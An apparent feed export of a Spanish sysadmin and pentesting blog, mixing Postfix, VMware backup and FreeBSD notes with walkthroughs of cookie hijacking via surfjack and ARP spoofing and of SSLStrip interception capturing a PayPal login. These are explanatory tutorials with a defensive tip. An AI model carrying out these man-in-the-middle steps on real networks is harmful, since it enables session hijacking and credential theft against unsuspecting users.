/&gt;&lt;pre class="brush: bash"&gt;/etc/init.d/rsyslog restart&lt;br /&gt;/etc/init.d/postfix restart&lt;br /&gt;/etc/init.d/postfix-out restart&lt;/pre&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;ROTANDO LOS 2 ARCHIVOS DE LOG CON LOGROTATE:&lt;br /&gt;========================================&lt;br /&gt;&lt;br /&gt;&lt;u&gt;/etc/logrotate.d/syslog (Postfix usa syslog)&lt;/u&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;/var/log/smtpdIntern.log {&lt;br /&gt;  sharedscripts&lt;br /&gt;  missingok&lt;br /&gt;  weekly&lt;br /&gt;  compress&lt;br /&gt;  # delaycompress&lt;br /&gt;  create&lt;br /&gt;  postrotate&lt;br /&gt;  /etc/init.d/rsyslog restart&lt;br /&gt;  /etc/init.d/postfix-out reload&lt;br /&gt;  endscript&lt;br /&gt;  rotate 12&lt;br /&gt;  mail user@host.com&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/var/log/smtpdExtern.log {&lt;br /&gt;  sharedscripts&lt;br /&gt;  missingok&lt;br /&gt;  weekly&lt;br /&gt;  compress&lt;br /&gt;  # delaycompress&lt;br /&gt;  create&lt;br /&gt;  weekly&lt;br /&gt;  postrotate&lt;br /&gt;  /etc/init.d/rsyslog restart&lt;br /&gt;  /etc/init.d/postfix reload&lt;br /&gt;  endscript&lt;br /&gt;  rotate 12&lt;br /&gt;  mail user@host.com&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;COMPROBACION FORZANDO ROTACIONES CON LOGROTATE:&lt;br /&gt;===============================================&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;/usr/sbin/logrotate --force /etc/logrotate.d/syslog&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4351948774202818761?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=4351948774202818761' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4351948774202818761'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4351948774202818761'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2009/06/postfix-logrotate.html' title='postfix + logrotate'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-2344248691481073863</id><published>2009-06-24T20:58:00.009+02:00</published><updated>2010-08-14T20:18:02.954+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><category scheme='http://www.blogger.com/atom/ns#' term='wifi'/><title type='text'>WPA + TKIP. Probando con tkiptun-ng</title><content type='html'>&lt;pre class="brush: plain"&gt;http://www.wadalbertia.org/foro/viewtopic.php?p=55867&lt;/pre&gt;&lt;br /&gt;Gracias a &lt;b&gt;Vic_Thor&lt;/b&gt; por la info _de primera mano_, pues es muy dificil encontrar informacion sobre esta herramienta.&lt;br /&gt;&lt;br /&gt;Ah, salio la version 1.0 para win, aunque no la he probado.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2344248691481073863?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=2344248691481073863' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2344248691481073863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2344248691481073863'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2009/06/wpa-tkip-probando-con-tkiptun-ng.html' title='WPA + TKIP. Probando con tkiptun-ng'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-5592424073804202161</id><published>2009-06-23T10:49:00.017+02:00</published><updated>2012-01-22T13:05:12.714+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cookies'/><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>Jugando a robar cookies con surfjack</title><content type='html'>Hola,&lt;br /&gt;&lt;br /&gt;Hace tiempo, cuando escribi un post sobre Sidejacking con hamster y ferret, &lt;b&gt;Sor_Zitroen&lt;/b&gt; me mando un documento para incluirlo como enlace. El documento se titulaba &lt;a href="http://enablesecurity.com/2008/08/11/surf-jack-https-will-not-save-you/"&gt;&lt;b&gt;Surfjacking. https will not save you&lt;/b&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;A mi se me paso incluirlo, hoy lo vi y a esto es a lo que he podido llegar. A estar logeado en este ejemplo en los foros de Wadalbertia sin logearme, es decir, sin introducir user/pass.&lt;br /&gt;&lt;br /&gt;El atacante envenena a la/s victima/s haciendole/s creer que el es el router, mediante un ataque arp-spoofing que todos aqui sabemos como funciona:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://4.bp.blogspot.com/-89vSJ6FeomY/Txv5iaWJ90I/AAAAAAAAAOA/gTJh9FHpepo/s1600/wadal0.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Ya estas pasando por mi.&lt;br /&gt;&lt;br /&gt;Podria explicar un poco mas esto que hace el atacante, pero os dejo jugar un poco...&lt;br /&gt;&lt;br /&gt;&lt;img src="http://2.bp.blogspot.com/-UHYQwY7AdCk/Txv517VhnuI/AAAAAAAAAOM/Un4kcWr4iIU/s1600/wadal1.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Pista: Ejecutad primero surfjack y os generara un INI por defecto, que podreis editar.&lt;br /&gt;&lt;br /&gt;El atacante ve que la victima esta logeada:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://1.bp.blogspot.com/-JtMn6TKwtec/Txv6Pw-s4SI/AAAAAAAAAOk/g7tvnbQFg6E/s1600/wadal3.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Entonces, que no viene en el README esto tampoco: Apuntamos el navegador al proxy local donde escucha &lt;em&gt;surfjack&lt;/em&gt; (fijaos en que puerto escucha, el propio surfjack lo dice ;)) y tras escribir en el navegador del atacante:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;http://setcookies&lt;/pre&gt;&lt;br /&gt;el navegador nos respondera con un:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://4.bp.blogspot.com/-3za5P-VSwCI/Txv7VD2iXQI/AAAAAAAAAO8/nSIQVQKafqM/s1600/wadal2.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Entonces yo segui con mi papel de atacante, me dirigi a wadalbertia y ya estaba logeado :)&lt;br /&gt;&lt;br /&gt;&lt;img src="http://4.bp.blogspot.com/-eGahqbXX-FM/Txv6ntt89-I/AAAAAAAAAOw/wZz39Eiy5yY/s1600/wadal4.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Espero que os haya gustado si no lo conociais.&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5592424073804202161?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=5592424073804202161' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5592424073804202161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5592424073804202161'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2009/06/jugando-robar-cookies-con-surfjack.html' title='Jugando a robar cookies con surfjack'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-89vSJ6FeomY/Txv5iaWJ90I/AAAAAAAAAOA/gTJh9FHpepo/s72-c/wadal0.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-5698327714125230909</id><published>2009-06-22T12:48:00.016+02:00</published><updated>2012-01-21T12:22:06.910+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>Jugando y burlando a SSL con SSLStrip</title><content type='html'>&lt;em&gt;No tengas miedo, solo ve hacia adelante y juega&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Hola!&lt;br /&gt;&lt;br /&gt;¿Quien de nosotros escribe https en el navegador para llegar a una pagina https?&lt;br /&gt;&lt;br /&gt;Apuesto a que ninguno lo hacemos.&lt;br /&gt;&lt;br /&gt;¿Como llega la gente normalmente a una pagina https pues?&lt;br /&gt;&lt;br /&gt;A traves de enlaces o de redirecciones (302).&lt;br /&gt;&lt;br /&gt;Bien, aqui entra en juego &lt;strong&gt;SSLStrip&lt;/strong&gt;, una herramienta que automatiza el proceso de realizar un ataque MitM contra estos 2 tipos de llegada a una conexion SSL.&lt;br /&gt;&lt;br /&gt;En otras palabras, atacaremos la conexion http en lugar de la conexion https...&lt;br /&gt;&lt;br /&gt;Musica maestro.&lt;br /&gt;&lt;br /&gt;Primero un screenshot con la configuracion de la victima:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://4.bp.blogspot.com/-Lf9pKQ1rDs4/Txqb8qcBOHI/AAAAAAAAAM4/Onl7vapMS7E/s660/wadal0.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Bien. El atacante deberia comenzar el ataque asi:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://1.bp.blogspot.com/-g8oJUJXvKZA/TxqcM_9BJHI/AAAAAAAAANE/gfrfcHDAIYo/s1600/wadal1.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Con el primer comando activamos el forwarding.&lt;br /&gt;&lt;br /&gt;El segundo comando es una regla de iptables que redirige todo el trafico del puerto 80 al 10000.&lt;br /&gt;&lt;br /&gt;Puede ser otro, siempre que seamos coherentes y se lo digamos a sslstrip en el tercer comando que aparece en la captura.&lt;br /&gt;&lt;br /&gt;Llamando asi a sslstrip, la victima no recibe ninguna advertencia de certificado y ademas el favicon es un candado, con lo cual la posibilidad de engaño es mayor.&lt;br /&gt;&lt;br /&gt;Bien, ahora tenemos que lanzar un ataque de ARP-poisoning. Yo he elegido ettercap.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://4.bp.blogspot.com/-x1T0hLRe230/TxqceZV2LbI/AAAAAAAAANQ/-85cLTz4sPM/s1600/wadal2.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Ya estas pasando por mi.&lt;br /&gt;&lt;br /&gt;Una vez hecho esto, cuando la victima ingresa a paypal lo unico diferente es que en la URL aparece &lt;strong&gt;http&lt;/strong&gt; en lugar de &lt;strong&gt;https&lt;/strong&gt;, mirad:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://2.bp.blogspot.com/-ccInsVwLhU4/TxqctmeXxHI/AAAAAAAAANc/XyvEZcg_u-I/s1600/wadal3.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://3.bp.blogspot.com/-iA3lUrIbVR4/Txqc6dv9yDI/AAAAAAAAANo/pPROjqnRH_M/s1600/wadal4.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Y ahora, el atacante mata el proceso de sslstrip con un CTRL+C.&lt;br /&gt;&lt;br /&gt;sslstrip guarda un archivo de log en sslstrip.log , aunque hay una opcion para cambiarlo, pero que mas da. Entonces podemos hacer una busqueda con grep en el archivo sslstrip.log y veremos el par user / password que introdujo la victima para logearse en paypal:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://4.bp.blogspot.com/-5d700NGVNxM/TxqdR43E-OI/AAAAAAAAAN0/WMOdb0BfQ0c/s1600/wadal5.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Ahi esta el user y el pass. El pass es &lt;strong&gt;HazUnaPintadaEnInet&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Bueno, ¿y como defendernos de SSLStrip? Evidentemente, asegurandonos de que la URL que aparece en el navegador empieza por https escribiendolo nosotros explicitamente.&lt;br /&gt;&lt;br /&gt;En principio tengo varias ideas en mente que ire desarrollando en posts sucesivos, como por ejemplo montar un AP falso, o tratar de recrear el escenario que monto Moxie Marlinspike en su charla en la BlackHat 2009 creando un nodo TOR con sslstrip, o leer los logs con una herramienta con menos bombo como SSLparse...&lt;br /&gt;&lt;br /&gt;Espero que os haya gustado...&lt;br /&gt;&lt;br /&gt;Suerte,&lt;br /&gt;&lt;br /&gt;Mas info en este hilo de Wadalbertia:&lt;br /&gt;&lt;pre class="brush: plain"&gt;http://www.wadalbertia.org/foro/viewtopic.php?p=55846&lt;/pre&gt;&lt;br /&gt;P.D. Gracias al compañero &lt;b&gt;Popolous&lt;/b&gt; por el post-it ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5698327714125230909?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=5698327714125230909' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5698327714125230909'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5698327714125230909'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2009/06/jugando-y-burlando-ssl-con-sslstrip.html' title='Jugando y burlando a SSL con SSLStrip'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-Lf9pKQ1rDs4/Txqb8qcBOHI/AAAAAAAAAM4/Onl7vapMS7E/s72-c/wadal0.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8847377098576919174</id><published>2009-06-03T18:35:00.008+02:00</published><updated>2011-11-21T11:13:16.676+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='backup'/><title type='text'>VMWare disaster recovery</title><content type='html'>La idea es tener una tarea cron que copie las maquinas virtuales de un host fisico a otro host fisico VMWare.&lt;br /&gt;&lt;br /&gt;No se realiza escritura a disco, pues en VMWare es lo que mas penalizado se ve. Se comprime todo en un lado del tunel ssh, y por el otro lado se va descomprimiendo.&lt;br /&gt;&lt;br /&gt;Ahi va:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;#!/bin/bash&lt;br /&gt;#&lt;br /&gt;#Copia VMs de FISICA1 a FISICA2 para Disaster Recovery&lt;br /&gt;#&lt;br /&gt;#vlan7 / 13-5-09&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;ALERTA=80 #20% espacio libre&lt;br /&gt;ssh fisica2 df -HP |grep mapper | awk '{ print $5 " " $1 }' |awk '{ print $1}' | cut -d'%' -f1 &gt;/tmp/output&lt;br /&gt;uso=$(cat /tmp/output)&lt;br /&gt;&lt;br /&gt;if [ $uso -g $ALERTA ]; then&lt;br /&gt;  echo "$uso % de espacio utilizado a fisica2, abortando copia" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;if [ $uso -le $ALERTA ]; then&lt;br /&gt;  #host1&lt;br /&gt;  echo "Apagando la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;  vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd stop "[standard] host1/host1.vmx" soft&lt;br /&gt;  echo "Apagada la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;  tar czvf - /var/lib/vmware/Virtual\ Machines/host1/ |ssh fisica2 "cd / ; tar xzvf -"&lt;br /&gt;  echo "Encendiendo la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;  vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd start "[standard] host1/host1.vmx"&lt;br /&gt;  echo "Encendida la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt; &lt;br /&gt;  #list all available VMs to log&lt;br /&gt;  vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd list &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;#enviando correo&lt;br /&gt;tail -100 /var/log/copiaVMsVMWare.log | mail -s "[script] copiaVMsVMWare.sh" user@host.com&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8847377098576919174?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8847377098576919174' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8847377098576919174'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8847377098576919174'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2009/06/vmware-disaster-recovery.html' title='VMWare disaster recovery'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-6589863941969850011</id><published>2009-02-25T19:09:00.006+01:00</published><updated>2011-11-21T10:38:17.642+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='regedit'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='wifi'/><title type='text'>Equipos wireless iniciar sesion en dominio</title><content type='html'>Si un equipo nunca ha iniciado sesion en un dominio, no tendra guardadas las credenciales en cache. Esto es un problema para equipos wifi que quieran iniciar sesion en el dominio de nuestra organizacion.&lt;br /&gt;&lt;br /&gt;Y aunque tengan guardadas las credenciales en cache, no se ejecutara en su maquina ningun logonscript.&lt;br /&gt;&lt;br /&gt;La solucion es cargar y activar la tarjeta wifi antes del inicio de sesion, antes de autenticarse.&lt;br /&gt;&lt;br /&gt;Yo me quedo con esta manera de hacerlo:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;Usar el servicio Windows Zero Configuration (Inicio de sesion wifi facil o algo asi se llama en castellano)&lt;br /&gt;regedit. HKLM \ Software \ Microsoft \ WindowsNT \ CurrentVersion \ Winlogon&lt;br /&gt;Añadir valor DWORD GpNetworkStartTimeoutPolicyValue 3c (hexa) o 60 (dec)&lt;br /&gt;regedit. HKLM \ Software \ Policies \ Microsoft \ Windows \ System&lt;br /&gt;Añadir valor DWORD GroupPolicyMinTransferRate a 0.&lt;/pre&gt;&lt;br /&gt;Y los clientes ya podran iniciar sesion como si estuvieran conectados a la red cableada.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-6589863941969850011?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=6589863941969850011' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6589863941969850011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6589863941969850011'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2009/02/equipos-wireless-iniciar-sesion-en.html' title='Equipos wireless iniciar sesion en dominio'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-390289073672635467</id><published>2009-02-14T12:43:00.002+01:00</published><updated>2010-01-21T19:52:52.849+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Win. Ofrecer asistencia remota en la LAN</title><content type='html'>hcp://CN=Microsoft%20Corporation,L=Redmond,S=Washington,C=US/Remote%20Assistance/Escalation/Unsolicited/unsolicitedrcui.htm&lt;br /&gt;&lt;br /&gt;Esto es con permiso del usuario.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-390289073672635467?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=390289073672635467' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/390289073672635467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/390289073672635467'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2009/02/win-ofrecer-asistencia-remota-en-la-lan.html' title='Win. Ofrecer asistencia remota en la LAN'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-776266307458702916</id><published>2008-11-18T06:31:00.003+01:00</published><updated>2010-01-21T19:53:31.206+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freeBSD'/><title type='text'>Como configure mi sonido en FreeBSD</title><content type='html'>pciconf -lv&lt;br /&gt;&lt;br /&gt;no me mostraba nada referente al HW de mi tarjeta de sonido que es una AC'97 de esas malillas integrada en placa.&lt;br /&gt;&lt;br /&gt;Bien, carguemos todos los drivers de sonido y asi al menos veremos si FreeBSD la soporta. Edito /boot/loader.conf y añado:&lt;br /&gt;&lt;br /&gt;snd_driver_load="YES"&lt;br /&gt;&lt;br /&gt;Muy bestia, el sonido ya salia por mis altavoces.&lt;br /&gt;&lt;br /&gt;La salida del comando pciconf -lv ya mejoraba...&lt;br /&gt;&lt;br /&gt;none0@pci0:2:7:  class=0x040100 card=0x70121849 chip=0x70121039 rev=0xa0 hdr=0x00&lt;br /&gt;    vendor   = 'Silicon Integrated Systems (SiS)'&lt;br /&gt;    device   = 'SiS7012 PCI Audio Accelerator'&lt;br /&gt;    class    = multimedia&lt;br /&gt;    subclass = audio&lt;br /&gt;&lt;br /&gt;Tras investigar me di cuenta de que mi driver era snd_ich.ko&lt;br /&gt;&lt;br /&gt;Efectivamente, eliminando snd_driver_load="YES" y cargando en la shell el modulo con&lt;br /&gt;&lt;br /&gt;kldload /boot/kernel/snd_ich.ko&lt;br /&gt;&lt;br /&gt;bastaba para tener sonido.&lt;br /&gt;&lt;br /&gt;Asi que ese modulo solo cargo ahora...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-776266307458702916?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=776266307458702916' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/776266307458702916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/776266307458702916'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/11/como-configure-mi-sonido-en-freebsd.html' title='Como configure mi sonido en FreeBSD'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-2647783796271133779</id><published>2008-11-18T06:26:00.004+01:00</published><updated>2010-01-21T19:54:28.721+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freeBSD'/><title type='text'>Como configure mi impresora en FreeBSD</title><content type='html'>Tengo una Lexmark E250DN conectada a la red, asi que no me hace falta CUPS, etc&lt;br /&gt;&lt;br /&gt;En /etc/printcap puse:&lt;br /&gt;&lt;br /&gt;lp|e250dn:\&lt;br /&gt;        :sh:\&lt;br /&gt;        :rm=e250dn:rp=e250dn:sd=/var/spool/output/e250dn:lf=/var/log/lpd-errs:&lt;br /&gt;&lt;br /&gt;Y comente:&lt;br /&gt;&lt;br /&gt;#\&lt;br /&gt;        #:if=/usr/local/libexec/if-script:&lt;br /&gt;&lt;br /&gt;En /etc/hosts añadi el nombre &lt;i&gt;e250dn&lt;/i&gt; con su IP&lt;br /&gt;&lt;br /&gt;En /etc/rc.conf añadi:&lt;br /&gt;&lt;br /&gt;lpd_enable="YES"&lt;br /&gt;&lt;br /&gt;para que me arrancara el demonio de lp al inicio&lt;br /&gt;&lt;br /&gt;Lo demas como cualquier UNIX, lpq para ver la cola, lpd para controlar el demonio, lpr para imprimir...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2647783796271133779?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=2647783796271133779' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2647783796271133779'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/2647783796271133779'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/11/como-configure-mi-impresora-en-freebsd.html' title='Como configure mi impresora en FreeBSD'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-3394180527335393274</id><published>2008-11-17T22:48:00.004+01:00</published><updated>2010-07-16T17:39:42.355+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='freeBSD'/><title type='text'>FreeBSD. Integridad de archivos.</title><content type='html'>Todos conocemos Tripwire. Bien. ¿Por que usarlo en FreeBSD si ya tenemos uno de serie llamado mtree?&lt;br /&gt;&lt;br /&gt;Mi log:&lt;br /&gt;&lt;br /&gt;[vlan7@fbsd7 /usr/home/vlan7]$ su -&lt;br /&gt;Password:&lt;br /&gt;fbsd7# echo A lo practico, minimalista, a ver que pasa si lanzamos mtree contra /usr/bin&lt;br /&gt;A lo practico, minimalista, a ver que pasa si lanzamos mtree contra /usr/bin&lt;br /&gt;fbsd7# cd /usr/bin                                                              fbsd7# mtree -c -K vlan7,md5digest,sha1digest,ripemd160digest -s 7777777 &amp;gt;/tmp/mtree_usr_bin&lt;br /&gt;mtree: line 0: unknown keyword vlan7&lt;br /&gt;fbsd7# mtree -c -K cksum,md5digest,sha1digest,ripemd160digest -s 7777777 &gt; /tmp/mtree_usr_bin&lt;br /&gt;mtree: /usr/bin checksum: 2130528872&lt;br /&gt;fbsd7# echo -K ... Quiero un checksum con esos 3 algoritmos de cifrado. 3 hashes, matematicamente mucho mas dificil que romper que 1 hash&lt;br /&gt;-K ... Quiero un checksum con esos 3 algoritmos de cifrado. 3 hashes, matematicamente mucho mas dificil que romper que 1 hash&lt;br /&gt;fbsd7# echo -s La semilla en numero&lt;br /&gt;-s La semilla en numero&lt;br /&gt;fbsd7# echo Esto es un ejemplo, mi numero favorito es el 7, pero cuanto mas compleja sea la semilla, mas seguro sera el checksum&lt;br /&gt;Esto es un 